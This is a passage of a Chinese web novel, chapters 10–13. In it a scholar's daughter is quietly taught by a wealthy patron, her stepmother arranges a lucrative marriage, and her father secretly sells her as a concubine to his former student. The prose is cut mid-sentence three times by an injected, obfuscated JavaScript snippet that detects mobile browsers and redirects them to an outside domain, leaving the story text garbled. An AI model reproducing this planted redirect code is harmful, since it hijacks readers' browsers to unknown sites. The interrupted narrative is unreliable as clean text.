今日功课结束,既学得自己想要的,也不过多占用金主闲暇,黄时雨暗中拿捏分寸,乖觉地请辞。 “且慢。”金主喊住黄时雨,示意小厮将备下的东西取来,三本崭新的书册。 “下月初二我得回趟京师,月底又是大授衣假,咱俩少说夏至才能见面,”金主指节敲着三本书,“这我给你挑的,有看不懂的摘抄下来,届时一并问我,明白不?” 黄时雨岂有不应之理,忙双手承接,心里热腾腾的,敬慕之意此时倒是全然真心了。 金主玩心顿起,“你都一口一个老师称呼我了呢。” 黄时雨是个知礼的人,“您现在就是名符其实的老师,我打心底里尊敬您。” 金主长长地哦了一声,“那我就是你长辈咯。” 黄时雨迟疑地点了点头,因为他只比她大两岁。 金主做长辈做习惯了,一点也不觉得两岁差别扭,坏笑着问:“那你打算如何孝敬我呢?” 黄时雨下意识绞了绞手指,“我,那以后逢年过节我都过来给您磕头,奉上节礼,行吗?” 金主不由吞咽了下,“呃,其实也不必这么麻烦。” “不麻烦的。”黄时雨一脸端肃,“老师学识渊博,慷慨多金,于我有教化之恩,等同再造,除了身生父母,以后我便尊您为长。” 金主陡然升起悔意,连忙抬手喊停。 “不行不行,这样岂不显得我很老,你且把孝敬放心里,无需表现出来,也不要叫我老师。” “那叫什么?” “就叫……” 他星眸闪着狡黠,笑嘻嘻道:“叫我哥哥。” 10. 第 10 章 黄时雨面露难色,只得想了个折中的法子,支吾道:“思渊兄……” 金主的笑意浅了两分,真不识趣。 他知道她是女孩子,她也知道他知道的事,怎么就不上道儿呢。 花这么多时间陪她玩,话也说这份上不是很明显了么,再欲拒还迎就有些矫情了。 但金主仍大度地再次抛出机会,“叫——哥哥。” 黄时雨纠结地望着他,实在喊不出口。 金主意兴阑珊,端起茶。 这是送客的意思,她的心不由地往下沉,只得朝他欠了欠身,悻悻然退下。 金主慢悠悠品了会茶,忽然往后一靠,仰在椅背上,食指缓缓绕着垂落肩上的一缕小辫子,绕了三圈,又蓦地松开。 回去的路上,黄时雨琢磨许久。 在乡下,哥哥是对心上人的称呼,难道城里不兴这样?她与金主既无情分亦非亲戚,且还扮的男装,即便二人心知肚明,却怎么瞧都诡异,实在喊不出口呀。 他不嫌丢人,她还要脸呢。 可终归是得罪了金主,料想没有以后了。 于是黄时雨决定在金主撂脸色前,自己先寻个体面的借口。 只消过段时日,以还书名义托舍馆的丫鬟代为通传:家中已为她寻得老师,往后就不过来挤占他闲暇。 再多加些千恩万谢的话儿。 这样金主听了心里舒坦,她则趁机拾阶而下。 合计完,黄时雨的步子重又轻快起来。 在泽禾住了两日,接触到乡下田园慢生活,宋鸢回到京师时常无端地想念。 今年的花神宴,即将及笄的宋鸢也受到了邀请。 安国公府老太君原是想将她留给府里最有出息的小辈,现今小丫头得了太后娘娘青眼,倒也算一桩美事。 往日受邀花神宴的多为各家贵妇,今年平白多了十八个适龄女孩,就不得不令人深思。 再想想肃王的年纪,意会即可,不必言明。 要说那肃王,乃太后娘娘三十八岁高龄所怀,时年先帝骤然离世,太后悲恸之余险些没保住,千难万险生出来,不若看成了眼珠子。 太后膝下唯有二子,老大皇上,作为嫡长子,甫一出生便由先帝亲自教养,等闲不允妇人插手,以至太后年近四十未曾享过多少天伦之乐。 肃王就不一样,是她守在身边一点一滴看着长大的,居永寿宫养到了十五岁,肃亲王府修建大成才舍得放出去。 这么小一个弟弟,既有同父同母的血脉羁绊,又比最小的儿子还小,于皇权全然构不成威胁,那么皇上内心的亲情自然也尽情释放,恩赏连年不断,不仅翻新敕造肃亲王府,还特准留京享天家富贵,陪侍太后。 一切殊荣,所有亲王中独一份。 肃王自幼聪慧伶俐,擅水墨与骑射,千娇万宠脂粉堆里长大,非但没被养废,反而越来越有出息,与一众大侄儿们相处也融洽。 皇上倍感欣慰,便又将他放在了文华殿同皇子们一起念书,悉心培养。 此般人生,可以说只要不谋逆,比普通皇子还要风光,锦绣荣华取之不竭。 年逾五旬的太后深居永寿宫,偌大的宫殿,珠帘绣幕,恰逢掌灯时分,大殿各处琉璃明灯,次第点亮,恰如银光雪浪,辉若白昼。 太后从掌事姑姑手里接过花名册,每页皆记述了一名姑娘的年纪、性格、专长,再配以精笔描画的肖像。 全都是花儿一般的年纪,美貌自不必说,太后娘娘更关注性格。 饶是最不在意外貌,当翻到了宋鸢,太后的手还是顿住了,旁边的掌事姑姑立时柔声细语地将宋鸢的家世娓娓道来,包括外祖家安国公府。 太后淡然颔首,末了评一句,“长得不错。” 再多的就没了。 说话间又有女官前来复命,雪阳殿已从里到外清整完毕。 往后每日只需燃香掸尘,即可保证肃王下榻时一如往昔。 太后点点头,遂指着另一家千金道:“这个有趣,极擅马球,能与阿淮玩到一处。” 肃王韩意淮,乳名阿淮,这名字还是皇上亲自取的,每个字都蕴含了亲者美好的期许。 意,志也,谋也,思也;淮,四渎之一,乃大康壮阔的山河渊海。 在太后眼里,样貌、门第人人都有,反而是最不值钱的,她似乎更偏爱个性鲜明者,最好还能与阿淮志趣相投。 将来不仅要做夫妻,更要做玩伴。 韩家已是登顶的富贵,又值太平盛世,肃王既不需要征战四方,也不能进士及第,太后对他人生的期许莫过于夫妻恩爱,儿孙满堂。 掌事姑姑弓腰俯首细看,也笑了起来,“您别说,奴婢打眼一瞧这姑娘竟与肃王殿下还有几分肖像呢。” 也就是有夫妻相了,但这话不能明说的。 太后弯了弯唇,继续往下翻。 临近戌时,就有宫婢前来换香,动作流畅轻柔,脚尖踩在柔软的大红绒毯,一丝声响也无,换完香朝太后屈膝施礼,再悄无声息的退下。 另有十几个宫人已经在净房忙碌,为太后娘娘就寝前的沐浴做准备。 天潢贵胄的日子就是这般隆重而平凡。 泽禾的日子则简单而平凡,眨眼平静地翻过两天。 已至初夏,因为月底授衣假的缘故,甜水铺子即将迎来淡季。 泽禾是小地方,没几处冰窖。冰作为稀罕物,除了朝廷衙门分配,想要便只能自己囤,非普通人力财力所能为。 黄记甜水铺子的东家不过一个小小秀才,每年营收虽还不错,却也不敢去县里大量购冰,且不说冰碗成本高,就算他愿意卖也没多少人舍得买。 因此夏季的甜水铺子基本处于歇业状态,偶尔也接两单大生意,譬如为庆典祭祀之类的仪式蒸馒头做红豆包。 今年黄太太格外开恩,允黄时雨在大授衣假前归家,不必再受那烈日当头的赶路之苦。 大授衣假一般要放三十日,如此就不好将柳儿放在甜水铺子,且花婆婆也要回家的。 黄时雨同小丫鬟提前在房中收拾细软。 柳儿的状态虽有改善,比之正常人,依旧区别明显。 不过她已经学会梳头,且学会了两种:小道童髻和盘双螺。 能自理,亦能帮着搭手,未来还是有盼头的。 黄时雨觉得挺好。 她将金主送的书册纸笔全锁进箱笼,钥匙串了红绳绑在香包里,贴身携带。 黄太太则激动的连续两夜没睡好,终于为黄时雨寻到了一桩完美婚事。 光是聘礼就许下了八百两白银! 出手之阔绰,莫说放在泽禾,就是放在县里也是一等。 以黄时雨的姿色,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902278|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能卖更高的价,然黄秀才要脸面,哪能轻易答应黄太太胡作非为。 初二天水观有一场不小的法事,天将将发白,黄时雨就同花娘子、柳儿前去帮忙。 连午膳也在观里解决。 丐婆喜热闹,混进人群来回跑,时不时撩闲,直到黄时雨掏出两个红豆包才将她打发。 许是饿了,嚼着红豆包,丐婆总算安静,然吃完之后力气更甚从前,又开始发癫,惹得路过的小道长拿扫帚赶她。 丐婆看向正在清洗菜叶的黄时雨,“还是你好,不似他们嗔眉撩牙的,动不动打人。” 黄时雨连忙制止她自我感动,“其实我有时候也想揍你,但你年纪太大,我怕折寿。” 丐婆就虎了脸色,揣手瞪她。 “方才我都瞧见了,你趁乱伸腿绊人,小道长还是个孩子,端着的盆子比自己都大,你有没有想过绊那一下磕在地砖上得多疼呢?”黄时雨认真望着她,郑重其事道,“你自己觉着好玩的事,却是旁人的苦难,那不是真的有趣。” 丐婆调开视线懒洋洋地哼了声,反问她:“是了,你见没见到未来的夫君呀?” “已经是三妹夫了。” 正常人和疯子聊天,各说各的。 丐婆行为异于常人乃疯病所致,作为正常人的黄时雨不能陪她疯,干脆背过身不说话。 丐婆道:“不要不理我嘛,没有我,你俩还牵不上线呢!等着吧,我再找找机会,非给你们强行牵了不可!诶诶,你别走呀……” 黄时雨端着洗好的菜,扬长而去。 下午一行人重返铺子,花婆婆笑眯眯与黄时雨说道:“二小姐,先前有个公子过来寻你,等待好一阵子,可巧了,将将离开,你又回来了。” 前两日还横眉冷对,今儿就找上门了?黄时雨不意简珣变得这般清闲,非休非假的离开书院。 她用湿帕子擦擦脸,“那他有没有给我留话?” “说是夏至后见,叮嘱你好生读书,到时候便要抽查你功课。”后半句花婆婆凑近了她小声说的。 即便黄秀才不在,大家依然小心避讳着。 啊? 不是简珣。 黄时雨迟疑地问:“那人长什么样?” 哎哟喂,花婆婆赞美不迭,“笑起来分外好看,右边这里有颗小梨涡,一口金平官话,那小声音,嗳呀……” 年轻人的嗓音都好听,这个却尤为特殊,光听音已联想到了俊美,听音回首又赫然望见了一个比声音还要惊艳的玉郎。 在花婆婆暧昧的眼神中,黄时雨隐隐觉着她误会了什么,又怕是越描越黑,“可不兴想左了……我还没说亲呢,不过念书之事,您得帮帮我,千万别让我阿爹知悉了。” 说罢,双手合十连连向花婆婆弯腰。 花婆婆哪能做那种人,抬手一挥,“嗐,我人老耳聋,什么也听不见,什么也不知道。” 黄时雨笑着挽住她胳膊。 金主忽然造访令黄时雨暗暗捏了把汗,得亏阿爹不在,否则现在的她应是在后院跪地面壁思过。 花家人心地善良,又了解黄秀才脾性,举手之劳的事自然愿意回护黄时雨,可金主是个变数,保不齐下次又冒出来,更保不齐当着阿爹的面冒出来,说些不利于她的话。 想到此处,黄时雨觉得有必要好好跟他谈谈,在他回来后。 11. 第 11 章 四月初八浴佛节在民间颇受重视,这日大康百姓皆要沐浴斋戒,讲究一些的人家还会去寺里礼佛。 为此鹿锦书院的师生专门休假一日。 华山长定了一份素斋点心,为表诚心,连含有鸡蛋牛乳之类的也不要,送完这餐黄时雨次日便要回泽禾。 她已及笄,此番归家,运气好的话成功定亲待嫁,不好则定了亲亦得做工,当然,也可能是根本没有亲事给她定。 送餐路上,晨露晶莹,鸟语花香,黄时雨摘了朵小野花把玩,也不去瞅野花丛中讪笑的福喜。 福喜自以为此处滴水不漏,料想黄二小姐发觉不了,不意出师未捷身先死。 他挠挠头。 果不其然,回来的路上黄时雨就遇到了简珣,福生没跟着,倒是年纪相对更小的福喜随在左右。 简珣直接省略了寒暄,径直问:“你何时归家?” 黄时雨“咦”了一声,偏着头,效仿他上回冷视自己的表情,“冷一阵热一阵,惯会用眼神唬人,今儿还想若无其事同我讲话?” “你别这样。”简珣拨开她的脑袋。 “这样你就受不了?可知你个子高,当时从上往下斜睨人,就是我现在这副神情,平白地侮辱人,你这是在侮辱我!”黄时雨不忿道。 她个子矮才发挥了不到一半的精髓。 简珣嘴角微微上翘,“行,那你继续,我受着。” “好。”黄时雨用力瞪他。 简珣垂眸凝着她,两厢视线交织,他深深地看了片刻。 他是男孩子,在书院偷偷看过禁书,知事比她早,如此四目相对,看起来与从前区别不大,实则感觉不一样。 看过禁书再看她,有时热热的,年少时的他,每每私下想一想她也会有尴尬的反应。 但他博览群书,除了禁书还有医书,自是清楚一切皆为年轻男子成长所要经历的,故而也就看开了。 黄时雨是一个漂亮的女孩子,娇滴滴的勾人,那么对她有纷乱如麻的念头也很正常。 君子论迹不论心,没甚可羞耻的。 晨光里,简珣的瞳仁乌黑明亮,仿若平静无波的玉山湖面,清凌凌地倒映了黄时雨。 那双眼里的她,看起来全无气势。 黄时雨嗓子有些儿发涩,不由得咽了咽,就这么眼对眼儿瞪着,效果同设想的完全不一样,且他根本就不怕她,目光竟越发滚烫。 比上回的冷视更有压迫力。 令她萌生几分畏怯,到底畏怯什么呢? 他又不会吃了她。 不,这样的简珣就是要吃她。 简珣笑了笑,收回目光,“够不够,我还可以继续。” 黄时雨冷汗涔涔,不争气的脚竟有点软,连忙挺直了脊梁,故作镇定冷笑一声,“幼稚,我忙着呢,才不与你浪费光阴。” 袖管却被简珣扯住,重新拉回身边。 “你还没说何时回去。”他道。 “明儿一早!”她说。 简珣道:“巧了,福喜明早也要回泽禾,你俩便同路吧。” 黄时雨的眸光果然鲜亮起来,又想到此行不少细软且多了一个柳儿,“可是我要带很多东西,还要带上柳儿……” “用我的马车,够不够?”他又补了一句,“福喜很会驾车。” 那自是够够的!黄时雨险些没捺住上扬的嘴角,“那多不好意思,又得麻烦你……” 简珣负手而笑,“真心觉着不好意思,就不要再气我了。” 提及这茬,黄时雨嘴唇抿紧了将右胳膊伸向他,“那你还曾对我无礼呢,没轻没重,痛死了,回去一瞧,这里生生青了一块。” 可以想见他手上的力道有多大。 简珣怀疑她是面团捏的人儿,目光落在她所指的地方,心底一软,轻声问:“现在还痛不痛?” “当时很痛。” “都是我的错,下回不会再鲁莽。” “还敢有下回?”黄时雨嗔然跺脚,“你若再欺负人,休怪我告诉你的鸢娘。” 说罢,得意地横眼觑他,告状走长辈路子行不通,那就走他心上人的! 简珣忽然冷下来,半晌才道:“告去呗,在京师,你摸得清路么。” 黄时雨语窒,也就是说说,傻子才真去。 念在马车宽敞又舒适的份上,懒得同他磕牙。 黄时雨步履轻盈,欢快地走了一小段路,缓缓驻足,扭头望望简珣,“你干嘛一直跟着我?” “黄二。” “干嘛?” “就算我有心上人……也会对你好的。”简珣定定望着她。 黄时雨拧眉,一时解不过来,有种令人不安的怪异。 简珣漫然瞥了黄时雨一眼,道一句“走了”,朝着相反的方向大步流星而去。 福喜今年十二岁,笑起来憨厚又老实,体格壮实宛如一头小牛犊,而机灵善辨的福生则相对瘦弱纤细许多。 故而福喜乃送黄时雨回家的最好人选。 既不会落人口实,亦有安全保障。 黄家的后院不大,沿墙种了一片花,当夏风迎面吹拂,淡淡馨香随往鼻子里钻。 黄太太坐在上房的大窗子下纳凉,一边说笑一边剥枇杷,果肉细腻多汁,柔软酸甜。 琥珀吟芳一左一右,相携展开簇新的衣衫和百迭裙,以便黄太太过目。 从配色到刺绣全部出自琥珀的巧手,家里也只她最了解黄时雨的尺寸。 黄晚晴挽着母亲胳膊,“阿娘,我也想要。” “你不是已经做了三套,第四套还在绣着,省省吧你。”黄太太没好气地横她一眼,“赶明儿再给你打两幅首饰,这套衣裙是给梅娘相亲穿的。” 提起“相亲”二字,黄晚晴便不再吭声。 自己亲事怎么来的,心里明镜儿似的。 本来李富贵也有些微词,认为当初口头约定的人乃黄家老二,目下突然换成老三,岂不令他做了小人。 然而男人的微词仅持续至瞅见黄晚晴那一瞬。 杏眼桃腮,纤瘦柔弱,好一个漂亮姑娘。 既然两家父母都没意见,那还坚持甚么,遂悦然应许。 黄秀才负手板着脸跨进正房。 黄晚晴心知爹娘有话要说,忙起身同丫鬟们一齐告退。 走在后面的人贴心地关上房门。 “老爷,这是还生我气呢?”黄太太缓缓擦拭指尖果汁,妖妖调调走过去,身子一歪,坐在了黄秀才腿上。 “强抢民女、纵奴行凶,裴员外家的小霸王裴盛,这就是你千挑万选给梅娘的人?”黄秀才面皮绷得紧紧的。 黄太太冷笑道:“八字还没一撇呢,你倒先操上心。成与不成,还得裴盛亲眼瞧过梅娘才能作数。真当天仙娘娘了,也不看自己什么出身,隔壁村的王傻子正派,你怎不把梅娘嫁给他?” “你,你……唯女子与小人难养也!”黄秀才说不过她。 “论年纪,二人仅差一岁,不似我,跟了你这个糟老头;论相貌,裴盛五官端正,身段不高不矮不胖不瘦,不似我,跟了你这个瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902279|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱鬼;论家世,县里首屈一指的豪绅裴家。” 黄太太越说越激动,腾地站起身,“她生母还欠我一条命呢,黄大同,我便是将她送给马老爷做第七房姨娘又怎样,好歹能换两千两白银!” 两千两啊,这辈子能不能挣两千两!黄太太满脸阴鸷,“我大发慈悲选了八百两的裴盛,你就于心不忍了,呵呵。” 黄秀才蜷了蜷干瘦的手指,缄口不言。 次日黄时雨到了家,黄太太就忙不迭召她来上房问话。 跑腿的琥珀很快又回来复命:“太太,二小姐初来月事,痛得厉害,正卧床不起。” 黄太太眼底精光一闪,总算来了。 女人的生育能力全靠月事,黄时雨迟迟不来,令黄太太寝食难安,唯恐她有什么不足之症。 再上等的货物,一旦有了瑕疵,都将大打折扣。 现在好了,不用再担心到手的雪花银飞走。 黄太太撇向琥珀,寡淡道:“这个月,你先留在她身边伺候梳妆,下个月再说。” 琥珀屈膝应个是。 黄家后院西边的厢房一共四间,最右边住着黄时雨。 内室一溜黑漆家具,该有的都有,半新不旧,素色的帷帐内黄时雨正缩在被窝,昏昏欲睡。 姐姐说,来了月事,就代表女孩可以成为某个男人妻子了。 她不是很喜欢这句话,但又说不出哪里不对。 就如同阿爹在三天后板着脸对她道:“裴盛还不错,听你娘安排吧。” 黄时雨想说不,却找不到理由。 女孩子及笄以后都要说亲,没有人例外。 去一个完全陌生的人家里生活固然彷徨,可在家也没多快乐呀,况且裴家还在县里,距离姐姐那么近。 那以后岂不是天天都能见到姐姐,想到这层,黄时雨的心情骤然明朗起来。 嫁人就成了一种盼头,这种盼头盖过了对于未知的恐惧。 相亲那日风和日丽,乃二十四节气中的小满。 黄太太称此为大吉,顶好的兆头。 小满胜万全。 桑林畔清风徐徐,琥珀陪她沿着青石小路漫步。 裴家的小霸王穿得花团锦簇好似一只大蝴蝶,原本他放了话,只要黄家老三黄晚晴。 媒人却告诉他黄家老二比老三还漂亮。 不是吧,黄秀才这么会生? 整整八百两的聘礼,不是小数目,如若没有黄晚晴好看就亏大了。 因而裴盛一大清早赶过来,踏进了约定的桑林,隔着浓绿浅绿,搜寻佳人身影。 媒人再三叮嘱:“少爷,咱们需矜持些,可千万别唐突了佳人,那可是真正的大美人。” “知道了,少啰嗦。” 他瞧见晨光从枝丫漏下,洒满佳人飘逸的裙衫。 视线往上移,只见佳人盘了清爽的双螺髻,仅在鬓边簪两朵粉黛相间的绒花,露出一截玉颈,纤细而修长,发间绑了粉色丝带,飘逸地悬垂腰下,随着步子轻扬,极为俏丽。 那单薄柔软的同色百迭裙也绣了一片黛色缠枝花纹,不盈一握的小腰儿亦垂着同色丝绦,光是觑那背影,裴盛感觉魂都要飞了。 他推开媒人,急步追了上去。 听见身后动静,黄时雨警惕回眸,正是这一眼,裴盛觉得自己一片精魂也被这小妖精摄了去,当下愣愣立在原地。 福喜隔着篱笆对黄时雨打招呼:“黄二小姐,用不用我帮你揍他呐?” 他以为裴盛是登徒子,虽然确实也是的。 12. 第 12 章 裴盛好半晌才想起阖上大张的嘴。 他是见过世面的人,曾数次跟随阿爹游览京师,目睹了人间繁华,哪怕没亲眼瞧见贵女金枝,也断定此般盛颜的黄时雨绝不亚于宫里娘娘。 当下世人惯以宫里娘娘形容人间绝色。 我的媳妇好美啊。裴盛喜得抓耳挠腮,转身就跑了。 原先许诺的八百两改成了一千两,此外还有绫罗绸缎若干。此番着急回家,便是要同父母商议定亲事宜,最好今年就能完婚。 裴员外自己就有六个姨娘三个通房,此外还有数个没捅出来但是被收用的丫鬟,有这么一个爹,裴盛能是啥好人。 去年还因强抢民女打死过人,最后却不了了之。 他房里伺候的丫鬟无一人完璧,连粗使也未能幸免,进来一个糟践一个,明面上却只有一个通房。 黄太太捏着仅有一个通房的优渥条件骂黄秀才:“便是你这样的破落户都纳过妾,人裴盛才一个通房而已,梅娘嫁过去即是正妻,尔等再挑三拣四的,我便提脚将她扔给马老爷。” 做六十五岁老头的七姨娘就老实了。 裴盛品行不好,但很多事都是关起门做的,故而黄秀才也不清楚具体烂到何种程度。 黄秀才自我安慰,年轻人犯错很正常,毕竟才十六岁,等成了亲男人就会变得成熟起来,梅娘又这般姿色,将来定能获得夫君宠爱,日子不会太差。 黄太太趁机卖好道:“裴家原本点名要的可是晴娘,若非李富贵对晴娘一见钟情,我才舍不得把这么个女婿让出去呢。” 黄秀才徐徐叹息。 这是一场两家都满意的亲事,选了十九作为吉日,届时男方家登门交换庚帖。 黄时雨本人并无太多想法,对裴盛也无特别感觉,唯一印象就是好像一只大花蝴蝶。 然而嫁给大蝴蝶就能去县里,去了县里岂不就随时亲近姐姐,思及此处,心底立时活泛,气色便也愈发鲜活,白里透着粉,素昔浅色的唇抹了胭脂似的红。 却说福喜那孩子,目睹登徒子闯入桑林惊扰黄二小姐,还不等他施展英雄救美的手段,那大蝴蝶登徒子眨眼又跑了。 这件事他也没太放在心上,两天后才于闲聊时无意漏了点缝。 福喜道:“昨儿我跟曹叔逛一天庙会,好生热闹呀,一大群漂亮姐姐在台上扮演神仙,还会喷火呢。” 福生见他愣头愣脑还会说出漂亮姐姐的话,不由笑道:“你懂什么美丑,再漂亮能有我们白露姐姐和素秋姐姐好看吗?” 他也就比福喜大半岁,还不满十三,这种话年纪大的男仆说不得,但他可以,一则年纪小,二则大家相熟。 白露素秋是简珣的贴身大丫鬟,一个十六一个十八,算大人了,自不会同皮小子计较。 此时二人前者在沏茶后者在研墨,白露闻言抿唇而笑,沏完茶款款离开,素秋泼辣,横了福生一眼。 福喜觑了觑少爷,正在作画。 作画时的少爷心情一般都很好,下人们拌几句嘴也不会真的怪罪。 于是,他嘟着嘴道:“我当然分得清美丑,黄家二小姐就可漂亮啦,像仙女一样。” 这话没人反对,他愈发得意:“小满那日,我帮她吓走登徒子,她还遣琥珀姐姐送了我好大一块麦芽糖吃呢。” 简珣飘逸的笔尖微顿,“什么登徒子?” 福喜道:“哦,那天我瞧见一个公子闯进了黄家桑林,贼眉鼠眼地跟踪黄二小姐,料想不是好的,原本打算跳过去揍他一顿,不意他倒先跑了,比兔子还快,而黄二小姐也没计较,我便放过了他。” 素秋噗嗤轻笑出声,“你个憨蛋儿,人家那是在相亲,黄二小姐若是生气那也生你的气,你把人家的小公子吓跑了。” “啊?”福喜面皮垮了下来,“我,我……又不是故意吓那公子,谁让他鬼鬼祟祟的。” “小满发生的事,十六你才同我说。”简珣蘸饱墨汁,重新作画,声音凉凉的。 福生连忙对福喜飞去个眼色,福喜似乎意识到了什么,虽还不太懂,但立即上前请罪。 憨蛋儿机灵着呢,察言观色一流。 “素秋,给他记着,断他这个月零嘴。”简珣扔掉笔。 “是,少爷。”素秋含笑应下。 她又端水来伺候简珣净手。 福喜乖乖接受对他来说无比严苛的惩罚,以后再不敢犯。 任何关于黄二小姐的事都要第一时间回禀,莫管大事小事。 人逢喜事精神爽,黄秀才接连解决两个女儿的婚事,如今全身心都投在了幼子耀祖身上。 年近四十才有的宝贝儿子,就是黄秀才的命。 他也曾有得意人生,十八岁院试第三获取秀才功名,乃当年泽禾第一人,岂料此后运气急转直下,接连乡试落榜。 如今已蹉跎了二十余年。 明年将是最后一次尝试,中不了则封笔。 好在他还有耀祖,这孩子机灵,必将为他实现人生夙愿。 其实黄秀才也没那么差,世上中举者毕竟少数,千人中取一的机遇,莫说他四十多还未中,五六十甚至七十也没中的大有人在。 但他确实有些文采在身,当年简夫人在几个秀才里独独选了他坐馆,也不是没有道理。 黄秀才摸了摸耀祖脑袋,四岁小儿骑着心爱的竹马兀自欢笑。 他举目眺望池塘对岸,初夏的泽禾亦有花红柳绿,片刻之后,逐渐朦胧,并非眼眶的泪意,竟是一场细雨洋洋洒洒。 耀祖早就被奶娘抱走,黄秀才身后就是一处草亭,却只身愣愣立在细雨中。 不期然头顶多了一面宽大的油纸伞,这样的高度,不是家里人的。 黄秀才偏过头,望见了含笑的学生,擎着伞与他并肩而立。 简允璋已经比他高出许多。 世间最讽刺之画面莫过如此:右边苍老、落魄、瘦弱、矮小,拮据、丑陋;左边年少、得志、强劲、高大、富有、俊美。 黄秀才勉强笑了笑,“怎么提前回来了?” 距离授衣假还有些时日。 简珣温声回:“今年伯祖父要亲自指点我学问,早些回京师也挺好。” 安国公亲自指点,黄秀才咽下一腔凄凉与憧羡,“好,非常好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902280|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初次见你,我便知这绝非池中之物,能有两年师生之缘,乃我生平最大的造化。” “老师何须妄自菲薄,”简珣不疾不徐的声音似有力量,悄然按下了黄秀才满腔翻涌的积郁,“我观近年两次乡试已经大不同以往。” 重心明显偏移《中庸》、《大学》。 黄秀才眼底有微弱火花亮了亮,又无奈一笑,“我是个蠢人,悟性低。” “倒也无需太高的悟性,晓得上面意思,言上面心之所向,又有何难呢……” 很多事情其实不难,难的是如何跳出迷局,以局外人的视角俯瞰局内人。 黄秀才仅是一个有五两才华的普通人,自然看不破。 却看懂了简珣的意思。 胸腔立时砰砰狂跳而起,他紧张地问:“允璋……你要什么?” “两千两白银。”简珣轻描淡写。 “我便是把全家老小都卖了也凑不出。”黄秀才自嘲道。 两千两,是真有心无力。 “我的意思是——我给老师两千两白银。”简珣微笑。 黄秀才的瞳孔骤缩,下垂的嘴角不自觉地抽搐。 细雨停,烈日浮空,很快烤干了地上泥水,挽救今年收成。 黄秀才仿佛被什么法力凝固住了。 简允璋要他家的老二——黄时雨。 任谁也料不到这番心思何时起的。 胸口针扎似的难受。 男人玩别人家妻女尚可,自己的送去做玩物,不啻口吞黄连。 无奈允璋给的实在太多,乃黄秀才从前想都不敢想的。 其实只给其中一样,他都会毫不犹豫答应。 从灰心失意瞬间变成即将拥有一切,黄秀才眼眶火热,却不知为何心脏揪疼,自惭不已。 大约是当他一息也不敢耽搁的应下时,简允璋嘴角的笑意吧。 那笑意不止寒,还裹着丝丝不易察觉的轻蔑。 他就这么把女儿卖了。 黄秀才颤抖地问:“什么时候,今晚吗?” 简珣心中微冷,“她还小,明年乡试结束我再要人。” 他真不至于为逞一时兽/欲迫使才及笄的梅娘服用避子汤,以后也没打算让她喝。 简珣道:“梅娘性子倔强,能顺其自然驯服再好不过,什么该说什么不该说,相信老师一定比我更周全。” “我明白。” 黄秀才感觉骨子里刮起凉风,双手不由自主揣起来,“她自小没被好生教养过,若有失礼之处,你打也好骂也罢,我只求你念在我们师生一场的份上,千万别发卖她,也不能让任何人再卖了她。” 贵妾再贵也是妾,简珣未来的妻子在有理有据的情况下,完全可以请示长辈处理梅娘,但贵妾的孩子虽为庶子却享有嫡子的部分权宜,譬如继承一定的家产,甚至爵位。 简允璋面无表情道:“她这一生被卖一次足矣,我不会再让她被卖第二次。” 说罢,将油纸伞抛至脚下,拂袖负手而去。 黄秀才痛苦地掩面而泣。 一点父女之情,怎敌那功名利禄,半生荣华。 13. 第 13 章 自从黄晚晴与李富贵定亲,黄秀才就在暗中赌气,已是多日不来上房睡觉。 黄太太使尽了浑身解数,不惜撒泼耍赖,皆收效甚微,以己度人,怀疑这是有了相好,故而布下眼线,日日盯着黄秀才动向。 充当眼线的婆子回来复命,对黄太太道:“大多时候老爷独自闷在书房,晌午倒是与小少爷在池塘附近散了会步,后来就站在雨里发呆,我原想上前递把伞,殊不料隔壁的简少爷先走过去。两位爷聊天,我就不敢杵在附近了。” 婆子说隔壁的简少爷,黄太太脑子里顷刻间浮起了画面,一个小神仙似的少年。 除了黄时雨,黄家眷属极少人见过十二岁后的简珣,黄太太倒是见过两回,心情久久难以平复。 当时短短一瞥,眼横秋水,眉拂春山这八个字瞬间从纸上活了。 自知高攀不上,务实的黄太太从未打过简珣的主意。 又想到这等人物曾是黄秀才的学生,还时不时以学生之名拜访黄家,她就无比地飘然。 掌灯后眼线婆子又来回话,“老爷的身子似乎不太爽利,晚膳只动了两口,天一擦黑就吹灯歇下,屋里没有女人。” 黄太太安下心,又有些不放心,“这一整日就没往外头走过吗?” “老爷没有,进宝倒是出去了一趟。” 进宝是黄秀才小厮,他出去岂不等同黄秀才出去,真是个蠢物。黄太太不耐烦地道:“详细说说。” 婆子回:“进宝去了隔壁,只待了不到半炷香时间,两手来回都空着,老婆子我实在看不出作甚去的。” 黄太太颦颦蹙眉。 进宝奉老爷之命前去简府送信。 其实他也不清楚是不是信,但摸着厚厚的牛皮纸封,里面不装着信件还能装什么。 殊不知能装的可多了,譬如鬻妾文书。 